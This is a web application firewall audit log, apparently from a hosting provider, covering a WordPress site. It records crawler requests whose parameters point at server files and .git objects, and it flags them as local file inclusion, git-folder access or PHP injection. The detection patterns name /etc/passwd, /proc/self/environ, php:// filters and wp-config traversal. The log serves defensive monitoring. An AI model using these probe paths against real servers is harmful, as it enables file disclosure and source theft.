{"transaction":{"time":"13/Mar/2026:07:27:35.686072 +0100","transaction_id":"abOuVoVUYFiiXhJv30mGkwAAAsQ","remote_address":"114.119.140.84","remote_port":42444,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/159199751 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"150fe7fe2d5d7bb272b0cd72dddb16b7","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2230420","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","Upgrade":"h2,h2c","Connection":"Upgrade, close","X-Orig-Rid":"150fe7fe2d5d7bb272b0cd72dddb16b7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":167,"p2":2841,"p3":0,"p4":0,"p5":264,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:29:24.735572 +0100","transaction_id":"abOuxIS9jYN6zgxYZnixnwAAAwE","remote_address":"57.141.20.32","remote_port":44596,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/n/nsterm%20s HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"fd679853ef1b683d98c81cd741a03321","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8259403"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fd679853ef1b683d98c81cd741a03321","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/nsterm s||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":197,"p2":5363,"p3":0,"p4":0,"p5":401,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:29:56.490839 +0100","transaction_id":"abOu5LF5yQKviNRUY1bFCQAAA9Y","remote_address":"57.141.20.29","remote_port":46200,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6e/ba6eaae2d30694bb0cff23b0500798335e365d HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"2a6e66eb481bbfbe2aeab6a569740fda","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6558342"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2a6e66eb481bbfbe2aeab6a569740fda","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6e/ba6eaae2d30694bb0cff23b0500798335e365d||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":224,"p2":4561,"p3":0,"p4":0,"p5":490,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:30:27.240312 +0100","transaction_id":"abOvAvvasc2LTOMQTj9uVQAAAo0","remote_address":"57.141.20.57","remote_port":51352,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bd/92673a2a27ec09554febbc4ac167939c5dc827 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.57","X-Forwarded-Proto":"https","X-Request-Id":"97c474f16ceed4f0cfc8d2aa384399a2","X-L-Admin-Auth":"0","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","upgrade-insecure-requests":"1","sec-ch-ua":"\"Chromium\";v=\"146\", \"Not-A.Brand\";v=\"24\", \"HeadlessChrome\";v=\"146\"","sec-ch-ua-mobile":"?0","sec-ch-ua-platform":"\"Windows\"","sec-fetch-site":"none","sec-fetch-mode":"navigate","sec-fetch-user":"?1","sec-fetch-dest":"document","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"298457"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"97c474f16ceed4f0cfc8d2aa384399a2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bd/92673a2a27ec09554febbc4ac167939c5dc827||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":342,"p2":5872,"p3":0,"p4":0,"p5":387,"sr":125,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:30:35.923621 +0100","transaction_id":"abOvC4VUYFiiXhJv30mHzwAAAs0","remote_address":"57.141.20.22","remote_port":51338,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/mibs/ietf/SFLOW-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"89118646adec6df8cdb8afa72925ea46","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1149789"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"89118646adec6df8cdb8afa72925ea46","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/SFLOW-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":296,"p2":5330,"p3":0,"p4":0,"p5":343,"sr":138,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:31:10.997876 +0100","transaction_id":"abOvLr_XFT3UbapV64mKBwAABBQ","remote_address":"57.141.20.12","remote_port":59604,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/woorise/woorise.1.4.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"03d54bc15d6b8bd09720e6e18f3cc585","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4690704"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"03d54bc15d6b8bd09720e6e18f3cc585","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/woorise/woorise.1.4.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":203,"p2":3843,"p3":0,"p4":0,"p5":379,"sr":106,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:31:13.916210 +0100","transaction_id":"abOvMcJuHGAsZ_bVQvkFZgAAA1g","remote_address":"57.141.20.4","remote_port":59602,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php7.0/lib/php/PEAR/Command.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"861365590400b44f897d87002e83a12e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"691726"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"861365590400b44f897d87002e83a12e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.0/lib/php/PEAR/Command.php||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":259,"p2":5913,"p3":0,"p4":0,"p5":315,"sr":144,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:31:29.892866 +0100","transaction_id":"abOvQcJuHGAsZ_bVQvkFigAAA1M","remote_address":"57.141.20.25","remote_port":57048,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/ed/8e73d10ef1e4d4e8e48f6ed876a230902553c0 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"5483c494eaa2349e223e75cb1b8f2795","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10488809"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5483c494eaa2349e223e75cb1b8f2795","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/ed/8e73d10ef1e4d4e8e48f6ed876a230902553c0||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":275,"p2":5393,"p3":0,"p4":0,"p5":306,"sr":143,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:31:36.207484 +0100","transaction_id":"abOvR7_XFT3UbapV64mKMAAABBg","remote_address":"57.141.20.16","remote_port":35594,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/44/b6973f80216084e93f4e0088feb13458a1adfd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"dfb69682cb7458207e670549c90cba69","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"691772"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"dfb69682cb7458207e670549c90cba69","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/44/b6973f80216084e93f4e0088feb13458a1adfd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":203,"p2":3563,"p3":0,"p4":0,"p5":368,"sr":93,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:31:52.605988 +0100","transaction_id":"abOvWMJuHGAsZ_bVQvkFuAAAA1g","remote_address":"57.141.20.5","remote_port":59602,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/t/tvipt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.5","X-Forwarded-Proto":"https","X-Request-Id":"a6ae7345151d1df4d4dcad2bc53f53d2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4853254"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a6ae7345151d1df4d4dcad2bc53f53d2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tvipt||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":321,"p2":6527,"p3":0,"p4":0,"p5":406,"sr":179,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:32:00.125540 +0100","transaction_id":"abOvX8JuHGAsZ_bVQvkFygAAA1c","remote_address":"57.141.20.45","remote_port":35578,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?dir=/sftproot/htdocs/atito2/node_modules/@nodelib/fs.scandir HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"3512b7b0563b414cc7bccdeac6aa59d7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7244817"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3512b7b0563b414cc7bccdeac6aa59d7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get[sc]?s?|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b\" at MATCHED_VAR. [file \"/usr/share/modsecurity_lws/013_i360_generic.conf\"] [line \"78\"] [id \"77211230\"] [msg \"IM360 WAF: PHP Injection Attack||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"service_im360\"]","Pattern match \"(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get[sc]?s?|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b\" at MATCHED_VAR. [file \"/usr/share/modsecurity_lws/014_i360_infectors.conf\"] [line \"52\"] [id \"77140880\"] [msg \"IM360 WAF: Infectors: PHP Injection Attack||MVN:MATCHED_VAR||MV:/sftproot/htdocs/atito2/node_modules/@nodelib/fs.scandir||RSV:7.71||T:APACHE||SC:/var/www/jmkconsulting-ci.com/htdocs/ptso.jmkconsulting-ci.com/service||\"] [severity \"DEBUG\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":338,"p2":6304,"p3":0,"p4":0,"p5":384,"sr":150,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:32:07.949630 +0100","transaction_id":"abOvZ_vasc2LTOMQTj9utwAAApQ","remote_address":"57.141.20.32","remote_port":46118,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/0e HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"4d3c0d7b73baf49b14ec1692408c1a75","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9045141"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4d3c0d7b73baf49b14ec1692408c1a75","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/0e||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":261,"p2":6028,"p3":0,"p4":0,"p5":534,"sr":167,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
